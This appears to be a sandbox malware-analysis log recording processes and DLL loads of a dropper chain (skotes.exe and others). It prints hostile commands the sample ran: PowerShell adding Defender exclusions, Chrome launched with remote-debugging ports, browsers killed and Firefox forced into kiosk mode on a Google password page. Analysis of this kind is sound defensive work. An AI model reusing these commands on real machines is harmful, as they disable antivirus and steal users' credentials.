Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Process created: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe "C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\agfznulwo"
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process created: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe "C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe"
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Process created: C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe "C:\agfznulwo\fb22de53cd93474896e72899203b572f.exe"
Source: C:\Users\user\AppData\Local\Temp\1019668001\932bb971c3.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\agfznulwo\bb31c9d4a53941b6b913f33980d23feb.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Users\user\AppData\Local\Temp\1019671001\d0e32932f8.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2312 --field-trial-handle=2072,i,2373336056486435438,11237397137693993043,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe "C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019670001\ed7d415177.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2284 --field-trial-handle=2204,i,16921492917580984058,10404394460730179528,262144 /prefetch:8
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2292 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2196 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7ce4f639-b801-4da5-9524-7365bf392772} 2816 "\\.\pipe\gecko-crash-server-pipe.2816" 223fe469310 socket
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019672001\bc893816fa.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1019674001\fdd59fd4bc.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe Process created: unknown unknown
Source: C:\Users\user\Desktop\file.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mstask.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dui70.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: duser.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: chartv.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: atlthunk.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: explorerframe.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019663001\a2870b1ac5.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019664001\85746525a0.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1019667001\81d22383f9.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
